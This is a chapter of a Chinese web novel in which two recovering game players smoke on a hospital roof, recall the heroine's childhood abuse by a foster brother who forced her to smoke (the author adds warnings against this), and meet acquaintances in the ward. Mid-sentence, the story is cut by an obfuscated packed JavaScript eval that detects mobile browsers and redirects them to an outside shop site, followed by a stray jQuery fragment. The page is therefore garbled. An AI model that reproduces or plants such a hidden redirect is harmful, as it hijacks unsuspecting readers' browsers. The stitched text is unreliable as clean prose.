53.陪一根

作品:《请在我的废墟里爱我

    一周后,两位病患已经能下床走路,成功转到普通病房。


    医院天台上,寒风卷着细雪掠过,初与序靠在锈蚀的铁栏边,两指间夹着一支燃了一半的烟。她身上披着宽大的灰色大衣,里面蓝白条纹的病号服被风吹得微微鼓起,隐约露出腰间还未拆尽的绷带。


    冬逢初站在她身侧,同样披着大衣,病号服领口处还能看见锁骨附近的医用贴布。他嘴里咬着烟,低头拢住火机,挡风点烟,火光映出他苍白的下颌线。


    “为什么不去看眼睛?”他将打火机揣近口袋里,看着初与序灰蒙蒙的右眼。


    初与序转过身,胳膊搭在栏杆上:“治不好,习惯这样了。”


    冬逢初不说话,眉眼在缭绕的烟雾下有些朦胧。


    “你觉得,《死亡电梯》副本最后的那颗心脏…是谁的?”初与序的声音混在风里。


    冬逢初手指一顿,没想到都过去一周了,初与序还在思考副本的事。


    “不是‘谁的’。”他想了想,最终回答,“是‘什么’的。”


    初与序侧头看他。


    冬逢初吐出一口烟雾:“那栋大厦本身是活的,电梯是血管,楼层是器官,玩家是养料,而那颗心脏…”


    “是核心。”初与序接上他的话,“但不是天然形成的。”


    冬逢初露出淡淡的笑容:“你也发现了?”


    初与序咬着烟,从口袋里摸出一张皱巴巴的纸条:“这是随歌前几天从暗网搞来的情报。”她展开纸条,上面潦草地写着:


    【《死亡电梯》最初是S级训练场,后因起大火废弃】


    “训练场,有人曾经在这栋楼里养怪物,或者养活人。”初与序得出结论,“我怀疑这栋楼是从现实改版而来,而永冬之城有玩家曾经和这栋楼有关系。”


    她弹了弹烟灰,望着远处被雪幕笼罩的城市轮廓,好似在自言自语:“永冬之城,到底是什么地方…”


    冬逢初沉默着,因为寒冷,他呼出的白气与烟雾纠缠在一起。


    “你恢复记忆了吗?”初与序忽然问。


    “没有。”冬逢初摇头,“什么都想不起来。”


    初与序刚想说话,天台的铁门突然“吱呀”一声被推开,景明垂垂眼走来。初与序手一抖,条件反射地把烟塞进冬逢初空着的左手里。


    “原来你们在这里。”景明垂的目光扫过两人,最后停在冬逢初拿着的两支烟上。其中一支快燃到尽头,另一支刚点燃不久,烟丝在寒风中上升。


    “初与序,你又抽烟?”她盯着初与序。


    初与序立刻摇头,黑发被风吹得凌乱:“没有。”她背在身后的手悄悄戳了戳冬逢初的后腰。


    冬逢初僵了一瞬,随即面不改色地举起手,烟灰簌簌落在他的病号服袖口:“……对,她没抽,这两根是我的。这一根快燃完了,又点了一根……”


    景明垂的目光在那支“刚点燃”的烟上停留了两秒,最终点了点头:“医生说他二十分钟后要来查房,你们记得回去。”


    直到天台门重新关上,初与序才长舒一口气,从冬逢初手里拿回自己的烟:“多谢。”


    景明垂不允许初与序抽烟。


    而她刚成年就会抽烟这件事要追溯到很久以前。


    初与序小时候,曾经有很长一段时间被寄养家庭的养兄和他的朋友逼着吸烟,硬生生将点燃的烟塞进她嘴里。他们笑着,看她被呛得咳嗽流泪,有逼她喝下烟灰泡的水,觉得这样“好玩”。如果她不肯,就会挨打。


    她也想过要报警,但逼迫她的是寄养家庭的养兄,如果报警,自己可能面临流离失所甚至更严重的后果。只能忍气吞声,独自忍受痛苦。


    就这样,初与序慢慢的学会了吸烟,甚至习惯了吸烟。她知道这种行为不对。


    (作者警告:未成年禁止抽烟!吸烟有害健康,对发育中的身体伤害尤其严重!)


    (本文是虚构剧情,绝非现实参考!如果现实生活中遭遇他人强迫吸烟、暴力胁迫等任何伤害行为,请报警或向可信赖的成年人求助!)


    在善佑青少年医院时,她偶尔会躲在卫生间或天台上偷偷抽。景明垂发现后,什么也没说,只是在当天晚上趁她熟睡,溜到她病房,把她一整包烟顺走藏了起来,并严厉禁止初与序碰烟。


    “戒了吧。”景明垂当时平静地说,“你不喜欢,不是吗?”


    初与序确实不喜欢,她没有烟瘾。后来住在医院的几年,她真的没有再碰过烟。


    直到现在成年。


    偶尔,在被噩梦惊醒的深夜,在想事情的时候,她还是会点一支。


    冬逢初看着她指间没抽多少的烟,又看看自己手里那支快抽完的,忽然明白了什么。


    初与序抽烟的开始,大概不是因为她自己想抽。


    他沉默了一会儿,伸手轻轻碰了碰她的烟尾,火星在寒风中微微一亮。


    “少抽烟。”他说,声音很轻,眼底带着温柔,“但如果你要吸烟,可以带我一个。”


    初与序侧目看他。


    冬逢初垂着眼,动作熟练地弹了下烟灰。他抽烟的姿势很稳,吐息间没有半点生涩,显然是个老手。初与序开始怀疑他很早之前就开始抽了。


    初与序只是笑了笑:“你倒是藏得很深。”


    她将两人的烟头一并熄灭,丢进垃圾桶:“回去了,医生该来查房了。”


    冬逢初点点头,拢紧大衣跟在她身后。


    走廊的灯光在雪夜里显得格外冷白,两人刚转过拐角,迎面就撞上了熟悉的面孔。


    “初姐姐!冬哥哥!”穿着宽大病号服的少年眼睛一亮,小跑着过来。


    宋睿,之前《狼人杀》副本里那个总躲在三人身后的男孩,现在个子似乎长高了,但眼神依旧清澈得不像永冬之城的玩家。他身旁站着个二十出头的男人,右臂打着石膏,眉骨处贴了快纱布。


    初与序认出了他,是全服第一百零二的林海。


    “好巧。”冬逢初微微颔首。


    宋睿兴奋地跑过来,向两人介绍林海:“这是林哥哥,我和他们组了队。”他又转向林海,“林哥,这就是我常和你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16061667|177773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说的,在新手副本带我的前辈们。”


    林海露出得体的笑容,伸出左手:“久仰,常听宋睿提起二位。如今见到,果然气质非凡。”


    初与序垂眸,注意到他右手虎口处有长期握枪留下的茧。她轻轻握了握:“伤得不轻。”


    “副本里的小意外,幸好伤的是我。”林海语气轻松。


    宋睿立刻接话:“上个副本,那个变异怪物向我扑过来时,是林哥把我推开才受伤的。”他的声音因为愧疚低了下去,手指无意识地揪住病号服衣角。


    林海拍了拍宋睿肩膀:“没事,这么点伤,我抗得住。”


    初与序露出淡淡的笑容:“宋睿现在有高手罩着,我们倒是放心多了。不过副本里的‘救命之恩’最贵了,你以后记得多留点积分‘还人情’啊,别傻乎乎全交底了。”


    冬逢初点头,也笑着接话:“是啊,排行榜前两百的玩家,大部分都是‘一步一算计’练出来的。这么讲义气的林哥能帮你抗刀一定是好事,但未必每时每刻都这么‘巧’,要好好加强自己。”


    “你们放心吧,我肯定会的!”宋睿兴奋地点点头。


    林海突然笑出声,揽住宋睿肩膀:“走吧宋睿,医生该来查房了。”


    分别时,初与序最后看了眼宋睿的背影。少年正仰着头和林海说着什么,眼里满是信赖。


    “希望是我们想多了。”冬逢初低声道。


    初与序没说话。


    两人踩着点回到病房。很巧的是,回北和向枝冥也被转移到这间普通病房。


    “哟,卡着点回来了。”向枝冥盘腿坐在床上抛铜钱,“医生刚来过,说你们…”


    话音未落,主治医生就拿着病历板推门而入,扫过四人:“恢复不错。”他着重看了眼初与序和冬逢初的伤口监测数据单,“下周一就能出院,前提是你们四个别惹事。”


    回北眉梢一扬:“正好赶上讨论会。”


    火腿面包被允许呆在初与序身边,它跳上初与序肩膀,忽然眨眨眼睛,凑近初与序:“你身上好像有淡淡的烟味?你抽烟了?还是我闻错了?”


    病房瞬间安静,医生抬起头,目光落在初与序身上:“我怎么记得玩家景明垂不让你抽烟呢?”


    冬逢初面不改色地举起手:“我抽的,初与序和我待在一起,沾上烟味了。”


    “他抽的。”初与序认真地补充。


    医生狐疑地扫视他们,最终在病历板上唰唰写下几行字:“肺部功能复查加项”。


    等医生走后,向枝冥终于憋不住笑出声:“你们这掩护打得……”


    回北一脚踹在他床架上,示意他看病房角落的监控摄像头。而初与序没好气地拎起火腿面包,将他丢到冬逢初床上:“给你了,不用谢。”


    “熄灯睡觉了。”向枝冥抛出铜钱,铜钱精准地砸到病房开关上,随着“啪”一声,整间病房陷入黑暗。


    冬逢初拍了拍面包,示意它自己去枕头边睡。


    “晚安。”他看向初与序,笑着说。


    “……晚安。”